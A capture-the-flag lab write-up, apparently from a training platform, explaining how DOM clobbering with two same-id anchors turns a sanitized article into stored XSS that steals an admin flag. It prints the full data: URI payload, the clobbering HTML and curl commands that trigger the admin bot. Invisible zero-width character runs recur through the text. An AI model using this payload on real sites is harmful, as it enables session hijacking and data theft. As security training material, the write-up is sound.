← Back to Writeups
CUSTOMMediumWeb

Lab 42 — ProsePad — DOM Clobbering to Stored XSS

XESXOR9/10/20264 min read
#web#custom#medium#data_uri_script_delivery#dom_clobbering_htmlcollection#named_property_access_on_htmlc#same_origin_exfiltration_via_a#sanitizer_bypass_id_name_attri#linux

Lab 42 — ProsePad — DOM Clobbering to Stored XSS

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-03 | Status: Solved Techniques: data_uri_script_delivery, dom_clobbering_htmlcollection, named_property_access_on_htmlcollection, same_origin_exfiltration_via_api, sanitizer_bypass_id_name_attributes

Summary

Task: ProsePad collaborative writing platform sanitizes article HTML but preserves id/name attributes and data: URIs in href; a widget loader script reads window.appConfig.cdnUrl to load a script. Solution: DOM clobbering via two anchor elements with same id creates HTMLCollection, named access via name attribute provides attacker-controlled data:text/javascript URI as script src, exfiltrating admin flag via comment API.

Lab 42 — ProsePad — DOM Clobbering to Stored XSS — HackAdvisor

Description

ProsePad is a collaborative writing and publishing platform built by Inkwell Labs. The application allows users to create, edit, and publish articles with rich formatting. It features a rich text editor with a "Raw HTML" mode for advanced formatting. Content is sanitized server-side to prevent script injection, but the sanitizer configuration may not account for all browser behaviors. An admin bot periodically reviews newly published and reported articles. The goal is to execute JavaScript in the context of the admin bot's session and access protected endpoints. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Target: https://eb604232-0b01-462d-a255-0d70eb0b0d0f.labs.hackadvisor.io/ Credentials: user@test.com / password123

English summary: ProsePad is a Node.js/Express article publishing platform with a rich text editor supporting Raw HTML mode. Articles are sanitized server-side (stripping script tags, event handlers, javascript: URIs) but the sanitizer preserves id and name attributes on structural elements and allows data: URIs in href. A widget loader script on article view pages reads window.appConfig.cdnUrl to dynamically load a script. An admin bot visits reported articles. The goal is to achieve XSS in the admin's session and exfiltrate the flag from /api/admin/flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Analysis

Application Structure

  • Article Editor (/editor): Rich text editor with "Raw HTML mode" toggle for direct HTML input
  • Article View (/articles/{id}): Renders article content, then runs a widget loader script
  • Admin Flag Endpoint (/api/admin/flag): Returns flag only for admin sessions
  • Report Mechanism (POST /api/articles/{id}/report): Triggers admin bot to visit the article

Sanitizer Behavior

The server-side sanitizer:

  • Strips: <script>, <iframe>, <object>, <embed>, <base> tags
  • Strips: Event handlers (onerror, onload, ontoggle, etc.)
  • Strips: javascript: URIs from href attributes
  • Preserves: id and name attributes on structural elements (including <a>)
  • Preserves: data: URIs in href attributes ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Widget Loader Script (Vulnerable Code)

On article view pages, after the article content is rendered into the DOM:

javascript
window.appConfig = window.appConfig || {};
var s = document.createElement('script');
s.src = window.appConfig.cdnUrl || '/js/widgets.js';
document.head.appendChild(s);

Key observations:

  1. The script runs AFTER article HTML is already in the DOM
  2. It trusts window.appConfig.cdnUrl without validation
  3. If window.appConfig is already truthy, the || {} fallback is skipped
  4. Whatever window.appConfig.cdnUrl resolves to becomes a script src ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

DOM Clobbering Vector

The classic double-anchor DOM clobbering technique exploits browser behavior:

  1. Two elements with the same id attribute create an HTMLCollection accessible via window[id]
  2. An HTMLCollection is truthy, so window.appConfig || {} keeps the HTMLCollection
  3. Named property access on HTMLCollection: collection.cdnUrl returns the element with name="cdnUrl"
  4. When an <a> element is coerced to string (assigned to .src), it returns its href value

Solution

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 1: Craft the DOM Clobbering Payload

html
<a id="appConfig"></a><a id="appConfig" name="cdnUrl" href="data:text/javascript,PAYLOAD"></a>

The JavaScript payload fetches the admin flag and posts it as a comment:

javascript
fetch("/api/admin/flag")
  .then(function(r) { return r.json() })
  .then(function(d) {
    var aid = location.pathname.split("/").pop();
    fetch("/api/articles/" + aid + "/comments", {
      method: "POST",
      headers: { "Content-Type": "application/json" },
      body: JSON.stringify({ content: "FLAG:" + JSON.stringify(d) })
    })
  })

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2: URL-encode the Payload for data: URI

The full href with URL-encoded payload:

data:text/javascript,fetch(%22/api/admin/flag%22).then(function(r){return r.json()}).then(function(d){var aid=location.pathname.split(%22/%22).pop();fetch(%22/api/articles/%22%2Baid%2B%22/comments%22,{method:%22POST%22,headers:{%22Content-Type%22:%22application/json%22},body:JSON.stringify({content:%22FLAG:%22%2BJSON.stringify(d)})})})

Step 3: Create and Publish the Article

Full article HTML content submitted via Raw HTML mode: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

html
<a id="appConfig"></a><a id="appConfig" name="cdnUrl" href="data:text/javascript,fetch(%22/api/admin/flag%22).then(function(r){return r.json()}).then(function(d){var aid=location.pathname.split(%22/%22).pop();fetch(%22/api/articles/%22%2Baid%2B%22/comments%22,{method:%22POST%22,headers:{%22Content-Type%22:%22application/json%22},body:JSON.stringify({content:%22FLAG:%22%2BJSON.stringify(d)})})})"></a><h2>Modern Web Development</h2><p>Content here.</p>

Step 4: Trigger the Admin Bot

bash
# Publish the article
curl -X POST https://TARGET/api/articles/{id}/publish -H "Cookie: session=..."
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Report the article to trigger admin bot visit
curl -X POST https://TARGET/api/articles/{id}/report -H "Cookie: session=..."

Step 5: Retrieve the Flag

The admin bot visits the article → DOM clobbering overrides window.appConfig.cdnUrl → browser loads the data:text/javascript URI as a script → script fetches /api/admin/flag with admin session → posts the flag as a comment on the article.

Retrieved the flag from the article's comments section. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍